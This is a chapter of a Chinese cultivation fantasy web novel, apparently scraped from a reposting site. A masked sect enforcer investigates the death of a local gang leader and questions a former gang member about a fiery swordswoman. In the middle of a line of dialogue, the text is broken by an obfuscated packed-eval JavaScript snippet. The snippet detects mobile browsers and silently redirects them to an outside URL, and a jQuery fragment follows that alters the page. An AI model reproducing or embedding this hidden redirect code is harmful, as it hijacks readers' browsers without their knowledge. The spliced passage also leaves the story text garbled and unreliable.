时间回到崔海平死后第二天。
原本还活蹦乱跳的崔帮主突然没了,一群人守着已经熄灭的魂灯,希望只是一场幻觉。
崔海平死后第三天。
整个逐浪帮都陷入了巨大的恐慌之中。众人抢砸完帮内财产一哄而散。
逐浪帮解散,碧落山脉终于从长达半年的封锁中解放。
碧落山脉妖兽数量众多,但总体实力一般,不算特别危险,本就是附近低阶修士猎取妖兽的宝地。
众散修听闻解封的喜讯,匆匆赶来,有不少人选择在碧落山脉附近的永定城落脚。
永定城,位于碧落山脉与人界的缓冲地带。在一片小镇、村落中脱颖而出,是附近最繁荣的城池之一。
这里也曾经是逐浪帮的据点。崔海平四十年前便强行夺走了城主之位,在城里作威作福,当了四十年的土皇帝。
一家朴实无华的小客栈内,平日冷寂的大堂今天竟坐满了服饰各异的修士。
掌柜眼角含泪,满脸欣慰地拿抹布擦着桌子。
伺候了逐浪帮那群大爷半辈子,给不给钱得看大爷们的心情,看不顺眼了还会将伙计暴揍一顿,原本的伙计厨子早就跑了。最后只剩他一人又要做饭又要打扫,要不是他全部身家都在这里,他早就也跑了!
四十年,四十年!他可终于从逐浪帮的欺压下熬出头了。
思及此处,掌柜打扫的动作更加卖力,硬是将陈旧的破木桌给擦的光彩照人。
从天南地北赶来的散修们此时都在讨论碧落山脉和逐浪帮的事情。
“崔老鬼一个金丹中期就这么没了?到底是谁干的,我们这旮瘩角落什么时候来了个这么强的家伙?”
“管他谁干的,在座有谁没受过逐浪帮的压榨?就算那位神秘道友不出手,迟早会有人上报流风宗,以崔海平嚣张的样子也蹦哒不了几年。”
流风宗,金州顶级势力中排行第二,手下掌管着流风城以及一众附属小势力,从强到弱分为一到五等。逐浪帮正是流风宗手下级别最低的五等势力之一。
“上报?你以为上报真的有用?流风宗手底下一个五等小势力就能占据一座城,搜刮四十年民膏民脂。封锁一座山脉,肆意妄为大半年。流风宗这座庞然大物,想必也干净不到哪里去。”
“呵呵,上头那些真君眼睛都长在头顶上,哪有空低头管自家老鼠。但凡流风宗真心想管,哪里会让逐浪帮作威作福。我看要不是神秘道友出手,那崔老鬼还能再做几十年土皇帝!”一位做流浪僧人打扮的胡须大汉满不在意地说道,“我看逐浪帮那群人,从上到下也不过都是些废物脓包,还顶着什么仙君的名号,污了咱的耳朵。
胡须大汉是远近闻名的筑基大圆满散修——鬼面菩萨。他老早就看逐浪帮不顺眼,想着等自己突破金丹就去找那崔老鬼麻烦。
“你不要命啦,敢这样讲话!”
“切,天高皇帝远……”鬼面菩萨翻了个白眼,还欲说些什么。
“啪!”
一位头戴纱帽的修士突然起身,将佩剑狠狠砸在桌面。众人这突如其来的动静吓了一跳,纷纷转头看向此人。
只见此人个子高挑,身材修长,青衣松垮地挂在肩头,裸露的左臂束着黑色臂甲,只有右臂套着袖子。纱帽虚虚实实,看不清他的真实容貌,只能隐隐约约瞧见一双浅绿色的眸子。
纱帽青年的声音清朗洪亮,语气笑中带刀:“宗有宗规。流风宗麾下势力的对错,还轮不到外人置喙。”
鬼面菩萨挺着肚子,毫不畏惧对方的锐气,上下打量着面前的青年,语气充满嘲讽:“哟,口气不小,敢问是流风宗名下的哪条狗腿子?”
边上几个不安生的散修开始起哄,撺掇着鬼面菩萨出手。
“口无遮拦。”
长剑出鞘,纱帽青年以双指掐诀,墨绿色的宝剑裹挟着狂暴的灵力冲向鬼面菩萨,竟紧贴着鬼面菩萨的身体轮廓生生将他背后的门板削成了人形。
整个大堂鸦雀无声,静的连掉一根针在地上都能听清。
掌柜缩在角落,一时不知道该心疼门板还是该害怕。
鬼面菩萨感觉自己脸颊的汗毛都被削去了半分,他僵硬地回头看向那人形门板,吓出了一身冷汗。
这穷乡僻壤好不容易死了一个金丹期土皇帝,怎么又来了一尊更厉害的大佛!
这家伙的实力远比那崔海平强了不止一星半点,刚才算是从鬼门关走了一遭。只要这人将剑刃偏离一丝一毫,不出一息,他就会被削成骨头架子!
“抱抱抱抱歉,是我口无遮拦,是我不知好歹,真君大人有大量,请放我一马。”鬼面菩萨哭丧着脸,跪在地上求饶。
咔!
墨绿长剑清脆入鞘。
纱帽青年没有理会鬼面菩萨,他远远抛给掌柜一袋灵石:“修补客栈的补偿。”
掌柜哆哆嗦嗦打开袋子,差点被储物袋中璀璨的灵光闪瞎了眼睛,里面装着一堆灵石………那竟然是一百颗中品灵石!
堪比一位筑基期修士十年的花费!
众人倒吸一口凉气,神情从忌惮变为贪婪。
这人不仅很强,还很有钱!非常有钱!
纱帽青年微不可查地扯了扯嘴角。
见鬼,丢错储物袋了!那袋可是我此次任务的经费!
纱帽青年强装镇定,抑制住自己将储物袋抢回来的冲动,一把拉开椅子坐下,双腿交叉架在桌缘,动作肆意潇洒。
他将好几袋下品灵石抛在桌面,虽然数目和品阶都比之前差了许多,但对穷乡僻壤的众散修而言,也足够诱人了。
青年抬眼看向众人道:“我是流风宗派遣至此地调查逐浪帮事件的弟子。现在逐浪帮没了,我不好交差。我知道在座各位中一定有从逐浪帮脱离的帮众、或是目击者,只要有人能提供崔海平死亡相关的线索,重重有赏。”
大堂四处响起一阵吞咽声,所有人都眼馋得很,只恨自己当时为什么不在现场。
正当众人犹豫自己要不要编点什么时,突然有一个年轻小修士从人群中挤了出来。
“我!”
小修士看了看其它人直勾勾的眼神,有些瑟缩,最后瞄了一眼桌上的灵石,咬牙道:“我曾是逐浪帮弟子,前段时间正好在现场!”
此人正是梧鸣苏醒后在隧道遇到的两名逐浪帮弟子之一,那位灵火熄灭后,脚掌被烫成猪蹄的小师弟。
“如何证明?”纱帽青年指节一叩,剑身发出嘣地一声脆响。
小修士从怀里掏出一件被灼烧出不少破洞的逐浪帮制服:“真君若是不信,我可以发天地誓言,保证每一个字都所言非
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15921067|177081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虚。“
围观的散修发出一片嗤笑声:“还真是逐浪帮的人,为了灵石连命都不要了。现在敢亮出身份,不怕被仇家打成筛子?”
纱帽青年眼神一眯,一把捞起桌面的灵石揪着小修士的领子走出客栈:“此地人多眼杂,请小兄弟带路,我们到现场详谈。”
“好。”听到小兄弟这个称谓,小修士有些受宠若惊。
到达第七峰后,他为纱帽青年指认了好几处地点,又细细道来当时目睹的情况。
例如灵火被操纵,突然熄灭;第七峰地下传出的剧烈打斗声;崔帮主第一次对战就被对方打飞一百里;崔帮主第二次对战有去无回。
第一次对战时,他与众弟子曾遥遥看到那入侵者的身影,那是一个浑身冒火,手持宽长大剑的家伙。看不清样貌,看轮廓约莫是个少女。崔帮主被打飞救回来后,曾亲口称呼对方为“妖物”。
纱帽青年一言不发,沉默梳理着这些信息。
小修士看了看他,揣度了一下这位真君的意思,想来这位应该是被流风宗派来给逐浪帮撑腰的大人物:“真君,我们帮主只是想替少帮主报仇啊,他死的好冤,还请求流风宗做主,还我们逐浪帮一个清白!”
纱帽青年低头看向小修士,浅绿色的眸子在纱帘后闪烁着,他突然噗呲一声笑了出来。
“是啊,是得做主。”纱帽青年手握佩剑,指节一叩,剑身发出嘣地一声脆响。墨绿的的长剑出鞘半寸,散发出森冷的寒光。
“崔海平、崔泽,父子二人欺上瞒下,屡次触犯流风宗禁令,私自占领永定城,罪无可赦,无需再议,斩立决。这是流风宗执法堂的判词。这两颗该死的脑袋,明明应该由我来砍下,居然被人捷足先登了。”
小修士听得腿脚发软,几乎要站不稳。可他们这种喽啰的惩处,还在后面。
纱帽青年语气微凉:“执法堂对逐浪帮麾下人马的处决是:剥夺仙根,铭刻魂印,逐出宗门,其它处罚待问罪后再行确定。轻者往后三代不得踏入流风宗势力,重者斩立绝。”
小修士越听越是心惊,他死死盯着剑芒,面色发绿,嘴巴张张合合半天都蹦不出一个字。
他们只管仗着帮主的威风在永定城逍遥享乐,对那些个凡人、旅客,想打便打,想杀便杀,从来不用考虑后果。
可若是以这个标准量刑,逐浪帮哪里跑得了一个人。
“这是说好的报酬,你可以回去通风报信了。我给你三天的时间,帮我通知你的师兄弟们,他们一个都跑不了。”
小修士哆哆嗦嗦接住对方丢来的灵石,跌跌撞撞,头也不回地跑了。
通知师兄弟?怎么可能,他才不是傻子,留在这里只有死路一条,他得赶快离开!
纱帽青年独自一人站在第七峰前,看着那道长达百丈的剑痕陷入沉思。
是陌生的、不该出现在碧落山脉此等贫瘠小地的浓郁妖气。
妖界什么时候又出了一位继承人?不忙着夺位而是只身来到人界……是在打什么算盘?
“不知是她的剑厉害,还是我的剑厉害。”
末了,像是突然想起什么似的,青年的嘴角勾起了一个自嘲式的微笑。
“只可惜,只可惜,那老头是个古板的倔驴,断然不会放过敢挑战流风宗权威之人,哦不,是妖。”